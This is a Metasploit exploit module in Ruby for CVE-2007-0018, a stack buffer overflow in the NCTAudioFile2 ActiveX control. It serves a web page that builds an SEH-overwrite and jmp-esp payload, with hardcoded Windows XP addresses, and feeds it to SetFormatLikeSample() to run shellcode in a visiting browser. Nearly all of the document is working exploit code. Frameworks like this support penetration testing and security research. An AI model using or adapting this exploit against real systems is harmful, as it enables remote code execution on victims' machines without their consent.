This Metasploit module exploits a stack overflow in the NCTAudioFile2.Audio ActiveX Control provided by various audio applications. By sending a overly long string to the "SetFormatLikeSample()" method, an attacker may be able to execute arbitrary code.
572cd45f169e8ae99680a260fbe93c3ec15696fd145b671b14f7ce7d7656216b##
# $Id: nctaudiofile2_setformatlikesample.rb 7867 2009-12-15 00:32:07Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'NCTAudioFile2 v2.x ActiveX Control SetFormatLikeSample() Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in the NCTAudioFile2.Audio ActiveX
Control provided by various audio applications. By sending a overly long
string to the "SetFormatLikeSample()" method, an attacker may be able to
execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC', 'dookie', 'jduck' ],
'Version' => '$Revision: 7867 $',
'References' =>
[
[ 'CVE', '2007-0018' ],
[ 'OSVDB', '32032' ],
[ 'BID', '22196' ],
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-May/062911.html' ],
[ 'URL', 'http://www.kb.cert.org/vuls/id/292713' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 2048,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
},
'Platform' => 'win',
'Targets' =>
[
# tested with:
#
# BearShare 6.0.2.26789 (NCTAudioFile2.dll v2.5.7.514)
# BearShare 6.0.0.22717 (NCTAudioFile2.dll v2.5.7.514)
# Magic Audio Editor Pro v10.3.11 (NCTAudioFile2.dll v2.6.1.643)
# Magic Audio Editor Pro v10.3.15.1 (NCTAudioFile2.dll v2.6.1.643)
#
[ 'Windows XP SP2/SP3 Pro English (IE6)',
{
'PopPopRet' => 0x746C15A9, # p/p/r in msls31.dll (ie6)
'jmp esp' => 0x774699bf, # user32.dll (xp sp2 and sp3)
}
],
],
'DisclosureDate' => 'Jan 24 2007',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
# dual targeting super fun..
sploit = p.encoded
sploit << rand_text_alpha(4100 - p.encoded.length)
# if seh is triggered, we'll use a pop/pop/ret
seh = generate_seh_record(target['PopPopRet'])
sploit << seh
# padding
sploit << make_nops(16 - seh.length)
# otherwise, we need to jump to the stack
sploit << [target['jmp esp']].pack('V')
sploit << make_nops(32)
# jump back to the payload :)
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0x1000").encode_string
# try to ensure SEH is triggered..
sploit << rand_text_alpha(1000) * 18
# Build out the message
content = %Q|
<html>
<body>
<object classid='clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC' id='#{vname}'></object>
<script language='javascript'>
var #{vname} = document.getElementById('#{vname}');
var #{strname} = new String('#{sploit}');
#{vname}.SetFormatLikeSample(#{strname});
</script>
</html>
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
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